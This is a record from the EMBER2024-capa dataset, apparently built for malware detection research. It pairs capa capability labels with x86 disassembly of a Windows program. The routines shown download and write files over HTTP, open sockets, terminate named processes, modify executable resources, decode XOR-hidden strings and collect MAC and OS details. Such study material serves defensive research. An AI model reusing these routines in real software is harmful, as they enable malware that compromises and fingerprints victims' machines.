joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4060cb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4060ef
xor eax, eax
test eax, eax
je 0x406101
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406101
xor ecx, ecx
jmp 0x406104
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4061ae
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a0ad4], 0
push esi
jne 0x4061e5
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4061bf
mov dword [ecx*4 + 0x7a0ad0], eax
inc ecx
cmp ecx, 0x100
jl 0x4061ba
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406216
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a0ad0]
xor eax, esi
inc ecx
dec edx
jne 0x4061f8
pop edi
not eax
pop esi
ret 0xc
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
push 0x427570
push eax
mov edi, ecx
call fcn.00414000
mov esi, eax
add esp, 8
test esi, esi
je 0x401088
push ebx
push 2
push 0
push esi
call fcn.004146d2
push esi
call fcn.004145e3
push 0
push 0
push esi
mov ebx, eax
call fcn.004146d2
add esp, 0x1c
test edi, edi
je 0x40103e
mov dword [edi], ebx
test ebx, ebx
je 0x40106a
push ebx
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x401042
push esi
push ebx
push 1
push edi
call fcn.00414261
push esi
call fcn.004147bb
add esp, 0x14
pop ebx
mov eax, edi
pop edi
pop esi
ret
push esi
call fcn.004147bb
add esp, 4
push 8
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x401073
pop ebx
pop edi
mov byte [eax], 0
pop esi
ret
pop edi
xor eax, eax
pop esi
ret

Function at 0x401090
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x427570
push eax
xor bl, bl
call fcn.00414000
mov esi, eax
add esp, 8
test esi, esi
je 0x40110f
mov ecx, dword [ebp + 8]
push edi
push 0x427578
push ecx
call fcn.00414000
mov edi, eax
add esp, 8
test edi, edi
je 0x401105
push esi
call fcn.00413f1c
add esp, 4
test eax, eax
jne 0x4010fa
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.00414261
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.004143d5
push esi
call fcn.00413f1c
add esp, 0x24
test eax, eax
je 0x4010d1
push edi
mov bl, 1
call fcn.004147bb
add esp, 4
push esi
call fcn.004147bb
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020e0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x402103
xor al, al
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push edi
push 0
push 0
push ecx
push 3
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x402192
push esi
push 1
push 0
push 3
push 0
push 0
push 0x50
push str.example.com
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
test esi, esi
je 0x40218a
push ebx
push 1
push 0x400000
push 0
push 0
push 0
push 0x4275bc
push 0x4275cc
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x402182
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40217b
mov byte [ebp - 1], 1
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov al, byte [ebp - 1]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402550
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, ecx
push 0
lea ecx, [ebp - 0x450]
push ecx
mov edi, edx
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x444], ebx
mov dword [ebp - 0x450], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x4025ac
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x438]
push edx
push ebx
call fcn.00414909
add esp, 8
test eax, eax
jne 0x4025c9
push ebx
call fcn.00415257
add esp, 4
mov eax, edi
mov byte [ebp - 0x439], 0
call fcn.004021a0
push 0
push 0
push 0
push 0
mov edi, eax
push esi
mov dword [ebp - 0x448], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x454], esi
test esi, esi
je 0x40274f
movzx eax, word [edi + 8]
mov ecx, dword [edi + 4]
push 1
push 0
push 3
push 0
push 0
push eax
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
je 0x402748
cmp byte [edi], 0
mov eax, 0x400000
je 0x402631
mov eax, 0xc00000
mov edx, dword [ebp - 0x440]
push 1
push eax
push 0
push 0
push 0
push edx
push 0x4275cc
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x40273b
cmp byte [edi], 0
je 0x4026a3
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp - 0x440]
push ecx
push 0x1f
push ebx
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x44c], 4
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or dword [ebp - 0x440], 0x3100
push 4
lea edx, [ebp - 0x440]
push edx
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402734
mov eax, dword [ebp - 0x444]
push 0x427578
push eax
mov byte [ebp - 0x439], 1
call fcn.00414000
mov edi, eax
add esp, 8
test edi, edi
je 0x40272e
jmp 0x4026e0
lea ecx, [ebp - 0x444]
push ecx
push 0x3ff
lea edx, [ebp - 0x408]
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402725
mov eax, dword [ebp - 0x444]
test eax, eax
je 0x402725
push edi
push eax
mov byte [ebp + eax - 0x408], 0
lea eax, [ebp - 0x408]
push 1
push eax
call fcn.004143d5
add esp, 0x10
jmp 0x4026e0
push edi
call fcn.004147bb
add esp, 4
mov edi, dword [ebp - 0x448]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp - 0x454]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [edi + 4]
test eax, eax
je 0x40275f
push eax
call fcn.00414f60
add esp, 4
push edi
call fcn.00414f60
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x439]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x402bf0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x1a8
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x402bf4
push esi
push 0x101
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
js 0x402c84
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov dword [esi + 0x190], eax
cmp eax, 0xffffffff
je 0x402c84
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov dword [esi + 0x1a4], eax
test eax, eax
je 0x402c84
push edi
mov ecx, 2
mov word [esi + 0x194], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov edx, dword [ebp + 0xc]
mov ecx, dword [eax]
lea edi, [esi + 0x194]
push edx
mov dword [esi + 0x198], ecx
call dword [sym.imp.WSOCK32.dll_htons]
push 0x10
mov word [esi + 0x196], ax
mov eax, dword [esi + 0x190]
push edi
push eax
call dword [sym.imp.WSOCK32.dll_connect]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x402e70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
test edi, edi
jne 0x402e8d
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push esi
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x402ec0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402ec0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x402ecf
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [esi + 4]
mov dword [ebp - 8], ebx
push ebx
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x402ed6
test ebx, ebx
je 0x402efc
mov ecx, dword [ebp - 4]
sub ecx, esi
mov edx, ebx
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x402ef0
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x402f16
mov dword [eax], ebx
pop ebx
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4038a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor esi, esi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
call section..text
mov ebx, eax
mov dword [ebp - 8], ebx
cmp ebx, esi
jne 0x4038c6
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4038d0
sub eax, edx
push edi
mov esi, eax
je 0x40392b
mov edi, dword [ebp - 0xc]
test edi, edi
je 0x40392b
lea eax, [edi - 1]
cmp esi, eax
ja 0x40392b
mov byte [ebp - 1], cl
sub edi, esi
xor ecx, ecx
dec edi
je 0x40392b
xor eax, eax
test esi, esi
je 0x403916
lea esp, [esp]
mov ebx, dword [ebp - 8]
lea edx, [eax + ecx]
mov dl, byte [edx + ebx]
mov ebx, dword [ebp + 8]
cmp dl, byte [eax + ebx]
jne 0x40391d
inc eax
cmp eax, esi
jb 0x403900
mov byte [ebp - 1], 1
mov dword [ebp - 0x10], ecx
inc ecx
cmp ecx, edi
jb 0x4038f6
cmp byte [ebp - 1], 0
jne 0x40393d
mov ebx, dword [ebp - 8]
push ebx
call fcn.00414f60
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
push 0x427578
push eax
call fcn.00414000
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403a4f
cmp byte [ebp + 0x10], 0
jne 0x403978
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403964
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
sub eax, edx
lea esi, [eax + ecx]
jmp 0x40397d
mov edi, dword [ebp - 0x10]
xor esi, esi
cmp esi, edi
jae 0x40399a
mov edx, dword [ebp - 8]
push ebx
push 1
lea eax, [esi + edx]
push 1
push eax
call fcn.004143d5
inc esi
add esp, 0x10
cmp esi, edi
jb 0x403981
push ebx
call fcn.004147bb
mov ecx, dword [ebp - 8]
push ecx
call fcn.00414f60
add esp, 8
cmp byte [ebp + 0x10], 0
je 0x403a46
mov edx, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push 0
push edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov esi, eax
test esi, esi
je 0x4039ea
push 0
push 0
push 0
push 1
push 0x10
push esi
call ebx
test eax, eax
je 0x4039ea
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [ebp + 0xc]
push 0
push eax
call edi
mov esi, eax
test esi, esi
je 0x403a12
push 0
push 0
push 0
push 1
push 0x18
push esi
call ebx
test eax, eax
je 0x403a12
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov ecx, dword [ebp + 0xc]
push 0
push ecx
call edi
mov esi, eax
test esi, esi
je 0x403a3a
push 0
push 0
push 0
push 1
push 3
push esi
call ebx
test eax, eax
je 0x403a3a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov edx, dword [ebp + 0xc]
push edx
call fcn.00403290
add esp, 4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push eax
call fcn.00414f60
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403a70
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
test ebx, ebx
je 0x403bc2
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x403bbb
lea ebx, [ebx]
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403ad0
sub eax, edx
lea esi, [eax + 1]
lea esp, [esp]
push esi
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x403ae0
lea eax, [ebp - 0x110]
mov edx, edi
mov ecx, eax
sub edx, ecx
jmp 0x403b00
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403b00
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b10
sub eax, edx
mov edx, eax
mov ecx, 0
je 0x403b37
mov al, byte [ecx + edi]
cmp al, 0x41
jl 0x403b32
cmp al, 0x5a
jg 0x403b32
add al, 0x20
mov byte [ecx + edi], al
inc ecx
cmp ecx, edx
jb 0x403b22
mov ecx, dword [ebp + 8]
mov eax, edi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403b60
test dl, dl
je 0x403b5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403b60
add eax, 2
add ecx, 2
test dl, dl
jne 0x403b40
xor eax, eax
jmp 0x403b65
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403b9c
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403b9c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x403b95
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00414f60
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x403ac0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.00413f0d
mov esp, ebp
pop ebp
ret

Function at 0x403d50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push ecx
push edx
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x403da2
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x403d98
mov bl, 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404610
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.00404870
xor ebx, ebx
cmp eax, 0x3c
jl 0x404694
lea eax, [ebp - 0x14]
push eax
push 8
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404674
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push ecx
push 4
lea edx, [ebp - 0xc]
push edx
push 0x14
push eax
mov dword [ebp - 0x18], 4
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x404674
cmp dword [ebp - 0xc], ebx
je 0x404674
mov byte [ebp - 0xd], 1
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x404682
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0xd]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea edx, [ebp - 0xc]
push edx
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x4046f7
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4046d7
mov dword [ebp - 0x14], ebx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x14], ebx
je 0x4046f7
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop ebx
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x404930
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x300
call fcn.00414f9a
add esp, 4
mov dword [ebp - 0x310], eax
test eax, eax
je 0x404943
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 0x308]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push connect
mov byte [ebp - 0x104], 0
call esi
mov eax, dword [ebp - 0x308]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4049c4
lea ecx, [ebp - 0x30c]
push ecx
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push str.ProductName
push eax
mov dword [ebp - 0x30c], 0x100
call edi
mov eax, dword [ebp - 0x308]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x308]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push connect
mov byte [ebp - 0x204], 0
call esi
mov eax, dword [ebp - 0x308]
test eax, eax
je 0x404a20
lea edx, [ebp - 0x30c]
push edx
lea ecx, [ebp - 0x204]
push ecx
push 0
push 0
push str.CurrentVersion
push eax
mov dword [ebp - 0x30c], 0x100
call edi
mov edx, dword [ebp - 0x308]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x308]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push connect
mov byte [ebp - 0x304], 0
call esi
mov eax, dword [ebp - 0x308]
test eax, eax
je 0x404a7c
lea ecx, [ebp - 0x30c]
push ecx
lea edx, [ebp - 0x304]
push edx
push 0
push 0
push str.BuildLab
push eax
mov dword [ebp - 0x30c], 0x100
call edi
mov eax, dword [ebp - 0x308]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x310]
lea ecx, [ebp - 0x304]
push ecx
lea edx, [ebp - 0x204]
push edx
lea eax, [ebp - 0x104]
push eax
push str._s__s_build__s
push esi
call fcn.0041512c
mov ecx, dword [ebp - 4]
add esp, 0x14
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x404ac0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 4
jmp 0x404ad0
push 0x288
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x404ad0
push esi
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
call edi
cmp eax, 0x6f
jne 0x404b0f
mov esi, dword [ebp - 4]
lea ebx, [ebx]
push esi
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x404b00
mov esi, eax
lea edx, [ebp - 4]
push edx
push esi
call edi
test eax, eax
jne 0x404b93
test esi, esi
je 0x404ba0
push 0x20
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x404b22
cmp byte [ebp + 8], 0
mov eax, 0x4275bc
je 0x404b42
mov eax, 0x4275dc
movzx ecx, byte [esi + 0x199]
movzx edx, byte [esi + 0x198]
push ecx
movzx ecx, byte [esi + 0x197]
push eax
push edx
movzx edx, byte [esi + 0x196]
push eax
push ecx
movzx ecx, byte [esi + 0x195]
push eax
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push eax
push edx
push str._02x_s_02x_s_02x_s_02x_s_02x_s_02x
push edi
call fcn.0041512c
push esi
call fcn.00414f60
add esp, 0x38
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x404ba0
push esi
call fcn.00414f60
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404d40
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
push edi
mov esi, edx
push edi
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
push edi
push edi
push 0x8003
push ecx
mov dword [ebp - 0x18], edi
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
lea ebx, [esi + 1]
push ebx
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x404d91
mov edx, dword [ebp - 0x28]
push esi
push edx
push edi
call fcn.00415c70
mov eax, dword [ebp - 0x18]
add esp, 0xc
push 0
push esi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov eax, dword [ebp - 0x18]
push 0
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x14]
push edx
push 2
push eax
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edi, dword [ebp - 0x20]
xor esi, esi
test edi, edi
je 0x404e0b
mov ecx, dword [ebp - 0x24]
movzx eax, byte [ebp + esi - 0x14]
mov edx, eax
shr edx, 4
mov dl, byte [edx + str.0123456789abcdef]
mov byte [ecx], dl
and eax, 0xf
mov al, byte [eax + str.0123456789abcdef]
mov byte [ecx + 1], al
inc esi
add ecx, 2
cmp esi, edi
jb 0x404de5
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
push edx
mov byte [ecx + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 0x1c]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x4051a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx + 0x42f220], 0
jne 0x405244
push esi
push fcn.004051a0
call fcn.00403be0
add esp, 4
cmp byte [ebx + 0x42f220], 0
jne 0x405239
cmp dword [0x42f218], 0
jne 0x4051ea
push 0x5f4
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x4051d4
mov dword [0x42f218], eax
lea esi, [ebx + ebx*2]
add esi, esi
push edi
mov edi, dword [esi + esi + 0x4294a4]
add esi, esi
lea eax, [edi + 1]
push eax
call fcn.00414f9a
add esp, 4
xor ecx, ecx
test edi, edi
pop edi
je 0x40522c
lea esp, [esp]
mov edx, dword [esi + 0x4294a8]
mov dl, byte [edx + ecx]
xor dl, byte [esi + 0x4294a0]
inc ecx
mov byte [ecx + eax - 1], dl
cmp ecx, dword [esi + 0x4294a4]
jb 0x405210
mov byte [ecx + eax], 0
mov ecx, dword [0x42f218]
mov dword [ecx + ebx*4], eax
mov esi, fcn.004051a0
call fcn.00403ce0
pop esi
pop ebx
pop ebp
ret